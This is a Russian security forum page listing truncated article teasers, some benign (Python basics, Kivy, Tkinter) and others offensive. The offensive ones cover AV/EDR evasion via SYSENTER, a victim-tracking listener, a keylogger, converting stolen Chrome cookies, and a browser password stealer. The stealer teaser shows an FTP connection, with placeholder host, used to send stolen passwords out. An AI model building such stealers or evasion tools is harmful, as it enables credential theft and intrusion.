Программирование для ИБ

Урок Python #3 - функции, работа с файлами

  • 7 681
  • 2
Доброго времени суток, уважаемые форумчане! Мы продолжаем наши уроки по языку Python. Сегодня мы рассмотрим функции и работу с текстовыми файлами.


Работа с файлами
Язык программирования Python позволяет выполнять операции с текстовыми файлами, давайте рассмотрим это чуть подробнее:
  • read - считывает содержимое файла. (результат можно присвоить в качестве значения переменной);
  • close - Закрывает и сохраняет файл;
  • truncate - очищает файл (будьте осторожны, чтобы не стереть важные данные);
  • readline - считывает только одну строку из текстового файла;
  • write(stuff) - записывает данные в файл;
  • seek(0) - перемещает указатель текущей позиции чтения/записи в начало файла.
Это основные команды для работы с файлами, которые вам нужно запомнить, и уметь использовать.

В квадратных скобках буду...

Асинхронный listener и реализация отслеживания без использования GPS — Подготовка

  • 6 900
  • 3
Здравствуй, codeby! У меня в планах создать асинхронный listener который может работать одновременно c любым количеством соединений, и добавить фитчу, которая позволит узнать точное местоположение(вплоть до дома) жертвы. Для работы этой фитчи, потребуется только интернет соединение, GPS не нужен. Я постараюсь уложится в две статьи. Сегодня мы сделаем каркас для listener.

Предупреждение:

Софт который мы напишем будут не идеален, конечно я могу попробовать сделать его как можно лучше, но это займёт много времени и кода. При желании, вы легко сможете сами расширить функционал кода данного мной. И этот туториал рассчитан на тех, кто знает что такое сокеты и как они работают в python. Если вы в первый раз сталкиваетесь с ними, ссылка ниже - для вас.

О сокетах в python:

Немного о select

select - функция, которая нужна для мониторинга...

Kivy — Введение

  • 10 553
  • 7
Всем привет, решил сделать серию статей про Kivy и KivyMD. Я не UI разработчик, я просто умею делать приложения с помощью kivy.
Не надо ожидать того, что после этих статей вы сходу сделаете UI круче чем у google, vk и других приложений-гигантов.
Но одно я пообещать точно могу, приложения будут :love:.

Начнём!

Коротко о каждом

Kivy - python фреймворк который позволяет создавать кроссплатформенные приложения.
KivyMD - набор виджетов в стиле Google Material Design для kivy

Чтобы не оставалось вопросов

Виджет - это небольшой вспомогательный элемент/компонент приложения(например кнопка), которое выполняет определенную функцию
UI - пользовательский интерфейс

Установка kivy

Windows:
Ссылка на туториал от kivy для windows(прочитайте если есть проблемы с установкой или если хотите узнать большее)

Сначала установим зависимости:
Код:
python -m pip install docutils pygments pypiwin32...

Статья Как обойти антивирусы и EDR: глубокое погружение в SYSENTER и Native‑API

  • 13 857
  • 9
Многоуровневое разграничение прав в системах класса Windows, накладывает свой отпечаток на систему безопасности в целом. Разработчикам логичней было создать один защитный пласт и закрыть его на большой замок, но они раскромсали его на мелкие части, в результате чего появилось множество дыр и обходных путей на разных уровнях. В данной статье рассматривается одна из таких лазеек, а точнее – скрытый запуск ядерных API-функций, что даёт возможность прямо под юзером обходить различные гуарды, мониторы безопасности, API-шпионы, антивирусы и прочие силовые структуры. Не сказать, что тема новая.. просто она незаслуженно забыта, и в силу своей сложности всё реже встречается в защитных механизмах наших дней.

Оглавление:


1. Инструкция SYSENTER – общие сведения.
2. SSDT – System Service Descriptor Table.
3. Разбор таблицы-экспорта библиотеки Ntdll.dll.
4. Программа поиска нативных сервисов.
5. Вызов функций посредством SYSENTER.
6...

Пишем графическую оболочку на Python - часть 4

  • 12 741
  • 12
Всем привет!

По просьбам трудящихся всё-таки решил написать ещё одно продолжение предыдущих статей. Часть 1 Часть 2 Часть 3

Сегодня будем наводить красоту. В качестве подопытного возьмём генератор паролей с тремя кнопками – генерировать, очистить и сохранить.

Python:
from tkinter import *
import random
from tkinter import filedialog as fd
import string
__version__ = 'Version: 2.1'

root = Tk()
root.resizable(width=False, height=False)
root.title("Password generator  " + str(__version__))
root.geometry("420x320+300+300")
calculated_text = Text(root, height=14, width=50)

def erase():
    calculated_text.delete('1.0', END)

chars = string.ascii_letters + string.digits + string.punctuation
x = 0

def passw():
    for n in range(int(number_entry.get())):
        password = ''
        global x
        x += 1
        for i in range(int(length_entry.get()))...

Статья ZIP'аем файл вручную (часть.1. упаковщик)

  • 10 461
  • 4
ZIP.png

Допустим имеем файл и нужно перенести его в своей программе на чужую машину. Если этот файл будет внешним (на подобии библиотеки или драйвера), то сразу бросится в глаза. А что если зашить его в своё тело и создавать при запуске основного приложения? Благо производительность современных процессоров это позволяет и жертва даже не успеет понять в чём дело. Другими словами получим матку, которая будет порождать файлы.

Всё-бы хорошо, только таскать в себе готовые бинарники типа exe\dll в несжатом виде тоже не лучшая идея – одних только "байтов выравнивания" в них под 50%, а для использования готовых архиваторов нужен к нему распаковщик. Так-что иметь в запазухе обычный зиппер это всегда гуд, а данная статья (надеюсь) поможет вам разобраться в его деталях. Буду использовать ассемблер FASM, двоичный редактор HxD, ну и виндовый кальк в инженерном виде.
----------------------------------------

Общие положения

Характерной особенностью данных является их избыточность. Причём наблюдается она у всех типов данных, будь то бинарный поток или человеческая речь. В надежде донести...

Python скрипт для отслеживания запускаемых приложений

  • 24 206
  • 17
В данной статье приведу пример мониторинга запускаемых приложений в ОС windows.
Скрипт для ведения логов будет написан на python 3.
Скрипт позволит просмотреть, какие процессы и приложения запускались системой и пользователем, а так же закрывать нежелательные приложения/процессы.

Для начала напишем определим, что именно будет делать скрипт.
1. Скрипт будет работать в системе постоянно, в скрытом режиме.
2. Скрипт должен записывать все запускаемые приложения в формате ("имя приложения" "id процесса" "Потребляемая память" "Время запуска" "Дата запуска")
3. Так же скрипт будет записывать все завершающиеся процессы в таком же формате
4. Скрипт не будет регистрировать запуск и завершение приложений из "черного" списка
5. Скрипт будет завершать процессы из произвольного списка

Теперь давайте определим, какие модули нам понадобятся и импортируем их

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
from time import sleep, time
import log
import threading

def main():
    # Основная функция main()

if __name__ == "__main__":
    main()
Я вынес некоторые функции, которыми часто пользуюсь в отдельный модуль "log.py".
Выглядит он вот так:
Python:
def...

Статья Разработка ПО на Python для анализа безопасности данных

  • 37 626
  • 38
Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать...

Изучаем Python на практике. Конвертируем cookies Google Chrome из txt в json.

  • 8 877
  • 1
Это третья статья авторского цикла "Изучаем Python на практике".

Предыдущие части:
  1. Изучаем Python на практике. Пишем чекер SSH серверов
  2. Изучаем Python на практике. Пишем аналог утилит wc и split (для подсчета строк и разрезания текстовых файлов)
Из за отсутствия фидбека пропало желание писать, может быть тема сегодняшнего поста будет интересна более широкому кругу читателей форума.

Есть такая проблема - когда есть "бэкап" (ну мы то знаем, что это на самом деле :)) кук Google Chrome в формате txt, но для того, что бы их снова импортировать в браузер, нужно конвертировать их файл в формате json. В сети ходит скрипт на PHP, но его неудобно использовать, так как нужен запущенный веб сервер, локально или удаленно. К тому же у этого скрипта есть проблема - он работает только с одним файлом.

Так же есть веб сервис для преобразования, но доверять свое кому-то неизвестному не очень хочется. Задача...

Мониторинг пользовательской активности в Windows: Запись действий и создание кейлоггера

  • 11 087
  • 2
Привет-привет!

Хочу рассказать об одном интересном опыте, триггером для получения которого стал мой товарищ, проходивший собеседование в одну структуру исполнительной власти одного государства. Чтобы ни у кого не возникло никаких ассоциаций с реальностью (так как, разумеется, история полностью выдуманная), назовем оное государство Фракцией Рептилоидов (ФР), а оную структуру Большой Статистической Флуктуацией (БСФ). Итак, приходит мой друг в здание, где расположилось БСФ ФР, просачивается через 100500 механизмов биометрической аутентификации (забыл сказать, структура занимается сверхсекретными делами государства и напрямую связана с безопасностью, поэтому охрана мероприятия на высшем уровне) и оказывается в оборудованной по последнему слову технике комнатке, в которой нет места отваливающемуся линолеуму и валяющимся-на-проходе огрызкам проводов, где в него с порога шарашат оригинальным предложением: «А вот если я тебе прямо сейчас дам ноутбук, напишешь мне кейлоггер?!».

ДИСКЛЕЙМЕР
Вся информация представлена исключительно в образовательных целях. Создание и распространение вредоносного ПО, равно как и...
🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

Статистика форума

Темы
52 219
Сообщения
346 381
Пользователи
149 639
Новый пользователь
Ivan_2222